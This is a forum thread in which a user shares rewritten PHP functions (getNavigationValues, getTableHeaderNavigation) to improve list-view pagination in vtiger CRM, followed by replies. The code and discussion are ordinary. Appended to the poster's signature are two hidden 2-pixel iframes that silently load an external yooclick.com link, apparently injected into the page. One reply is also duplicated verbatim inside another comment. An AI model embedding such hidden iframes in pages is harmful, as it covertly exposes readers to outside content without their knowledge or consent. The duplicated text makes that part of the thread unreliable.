Improved pagination in List View

Dear all,
I have rewritten the pagination codes for the list view in vtiger. So now the pagination is more like that of a google seach page. Please see the picture below to see what I mean.
As you can see in the pictures below the pagination scrolls so at to keep the current page in the middle. Also you can specify the number of pages to be shown from the config.php
I have also added a link called All which shows all the records with no pagination in the view. This is very important for my last email modification to send mass mail from a view. Now you can choose the All in pagination and then select the entity to send mails.
To apply the changes please do the following:

In include/utils.php please delete the function getNavigationValues and paste the follwing codes in its place:
//changed by rdhital to improve the pagination
function getNavigationValues($display, $noofrows, $limit)
{
	$navigation_array = Array();	
	global $limitpage_navigation;
	if(isset($_REQUEST['allflag']) && $_REQUEST['allflag'] == 'All'){
		$navigation_array['start'] =1;
		$navigation_array['first'] = 1;
		$navigation_array['end'] = 1;
		$navigation_array['prev'] =0;
		$navigation_array['next'] =0;
		$navigation_array['end_val'] =$noofrows;
		$navigation_array['current'] =1;
		$navigation_array['allflag'] ='Normal';
		$navigation_array['verylast'] =1;
		return $navigation_array;
	}
	$start = ((($display * $limit) - $limit)+1);
	$end = $start + ($limit-1);
	if($end > $noofrows)
	{
		$end = $noofrows;
	}
	$paging = ceil ($noofrows / $limit);
	// Display the navigation
	if ($display > 1) {
		$previous = $display - 1;
	}
	else {
		$previous=0;
	}
	if ($noofrows != $limit) {
		$last = $paging;
		$first = 1;
		if ($paging > $limitpage_navigation) {
			$first = $display-floor(($limitpage_navigation/2));
			if ($first<1) $first=1;
			$last = ($limitpage_navigation - 1) + $first;
		}
		if ($last > $paging ) {
			$first = $paging - ($limitpage_navigation - 1);
			$last = $paging;
		}
	}
	if ($display < $paging) {
		$next = $display + 1;
	}
	else {
		$next=0;
	}
	$navigation_array['start'] = $start;
	$navigation_array['first'] = $first;
	$navigation_array['end'] = $last;
	$navigation_array['prev'] = $previous;
	$navigation_array['next'] = $next;
	$navigation_array['end_val'] = $end;
	$navigation_array['current'] = $display;
	$navigation_array['allflag'] ='All';
	$navigation_array['verylast'] =$paging;
	return $navigation_array;
} 		

Now in the config.php please add the following code somewhere:
$limitpage_navigation = '9';//change this number to whatever you want. This is the number of pages that will appear in the pagination.

Now in include/uifromdbutil.php delete the function getTableHeaderNavigation and paste the following modified function in its place:
//modified rdhital to improve the pagination
function getTableHeaderNavigation($navigation_array, $url_qry,$module='',$action_val='index',$viewid='')
{
	global $theme;
	$theme_path="themes/".$theme."/";
	$image_path=$theme_path."images/";
	$output = '<td align="right">';
	$dir_name=getModuleDirName($module);
	$output .= '<a href="index.php?module='.$dir_name.'&action='.$action_val.$url_qry.'&start=1&viewname='.$viewid.'&allflag='.$navigation_array['allflag'].'" >'.$navigation_array['allflag'].'</a> ';
	if(($navigation_array['prev']) != 0)
	{
		$output .= '<a href="index.php?module='.$dir_name.'&action='.$action_val.$url_qry.'&start=1&viewname='.$viewid.'" title="First"><img src="'.$image_path.'start.gif" border="0" align="absmiddle"></a> ';
		$output .= '<a href="index.php?module='.$dir_name.'&action='.$action_val.$url_qry.'&start='.$navigation_array['prev'].'&viewname='.$viewid.'"><img src="'.$image_path.'previous.gif" border="0" align="absmiddle"></a> ';

	}
	else
	{
		$output .= '<img src="'.$image_path.'start_disabled.gif" border="0" align="absmiddle"> ';
		$output .= '<img src="'.$image_path.'previous_disabled.gif" border="0" align="absmiddle"> ';
	}
	for ($i=$navigation_array['first'];$i<=$navigation_array['end'];$i++){
		if ($navigation_array['current']==$i){
			$output .='<b>'.$i.'</b> ';
		}
		else{
			$output .= '<a href="index.php?module='.$dir_name.'&action='.$action_val.$url_qry.'&start='.$i.'&viewname='.$viewid.'" >'.$i.'</a> ';
		}
	}
	if(($navigation_array['next']) !=0)
	{
		$output .= '<a href="index.php?module='.$dir_name.'&action='.$action_val.$url_qry.'&start='.$navigation_array['next'].'&viewname='.$viewid.'"><img src="'.$image_path.'next.gif" border="0" align="absmiddle"></a> ';
		$output .= '<a href="index.php?module='.$dir_name.'&action='.$action_val.$url_qry.'&start='.$navigation_array['verylast'].'&viewname='.$viewid.'"><img src="'.$image_path.'end.gif" border="0" align="absmiddle"></a> ';
	}
	else
	{
		$output .= '<img src="'.$image_path.'next_disabled.gif" border="0" align="absmiddle"> ';
		$output .= '<img src="'.$image_path.'end_disabled.gif" border="0" align="absmiddle"> ';
	}
	$output .= '</td>';
	return $output;
}

Now the pagination is done. However the Showing 1 to something of something at the left of the pagination is not shown correctly. The orifinal code in vtiger to do this was very funnily long and complex. To make the correction please go to all the ListView.php of all the applicable module and find something like the follwing code:
// Setting the record count string
if ($navigation_array['start'] == 1)
{
	if($noofrows != 0)
	$start_rec = $navigation_array['start'];
	else
	$start_rec = 0;
	if($noofrows > $list_max_entries_per_page)
	{
		$end_rec = $navigation_array['start'] + $list_max_entries_per_page - 1;
	}
	else
	{
		$end_rec = $noofrows;
	}

}
else
{
	if($navigation_array['next'] > $list_max_entries_per_page)
	{
		$start_rec = $navigation_array['next'] - $list_max_entries_per_page;
		$end_rec = $navigation_array['next'] - 1;
	}
	else
	{
		$start_rec = $navigation_array['prev'] + $list_max_entries_per_page;
		$end_rec = $noofrows;
	}
}

and replace it with the follwing very short and simple code:
// Setting the record count string
//modified by rdhital
$start_rec = $navigation_array['start'];
$end_rec = $navigation_array['end_val'];

That is it you are done. Now you have a much better page navigation system. Please let me know if you find this useful or your are stuck with something.

Cheers
Raju <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 9 Comments sorted by Votes Date Added
  • good idea, and it seems to work very well.

    i also like how in your screen shots you have the navigation bar at the bottom of the list as well as the top. i don't know how you did it but if someone else wants to add that here's how i did it.

    in listview.html files copy the code:
            &lt;tr height=&quot;20&quot;&gt;
                    &lt;td colspan=&quot;30&quot; class=&quot;listformheaderlinks&quot;&gt;
                            &lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width
    =&quot;100%&quot;&gt;
                            &lt;tr&gt;
                               &lt;td&gt;&amp;nbsp; &#123;record_counts&#125;&lt;/td&gt;
                               &#123;navigation&#125;
                            &lt;/tr&gt;
                            &lt;/table&gt;
                    &lt;/td&gt;
            &lt;/tr&gt;
    

    about 5 lines down to just below "{listentity}".
  • hello bushwack,
    the way you did is the best way and is the exact way i did it. i just didnt realise somebody else might want it.
    raju
  • hi,

    great!!!

    could you provide the changed files for download?

    thanks
    steffen
  • hi steffen,
    i could provide it but i have loads of custom changes made in my system so i am afraid they might disturb the vtiger function. thats why i provided the code. anyway if i get time later i will download patch 2 and make the changes tehre and submit the files. if there is someone who can upload the files could you please upload it for the others. thanks
    raju
  • now add pagination to related list views (ie contacts under accounts) and you will be my hero.

    dg
  • hi raju,

    thank you for the contribution you have given.

    this has been integrated into the product.

    thanks & regards,
    jaguar
  • this pagination, had i seen it before, would have saved me hours on bulk emailing... thank you for this feature.

    can you please give a little more detail on where this goes?

    detrie

    good idea, and it seems to work very well.

    i also like how in your screen shots you have the navigation bar at the bottom of the list as well as the top. i don't know how you did it but if someone else wants to add that here's how i did it.

    in listview.html files copy the code:
            &lt;tr height=&quot;20&quot;&gt;
                    &lt;td colspan=&quot;30&quot; class=&quot;listformheaderlinks&quot;&gt;
                            &lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width
    =&quot;100%&quot;&gt;
                            &lt;tr&gt;
                               &lt;td&gt;&amp;nbsp; &#123;record_counts&#125;&lt;/td&gt;
                               &#123;navigation&#125;
                            &lt;/tr&gt;
                            &lt;/table&gt;
                    &lt;/td&gt;
            &lt;/tr&gt;
    

    about 5 lines down to just below "{listentity}".
  • this mod rocks.

    thankyou

    biagio
Sign In or Register to comment.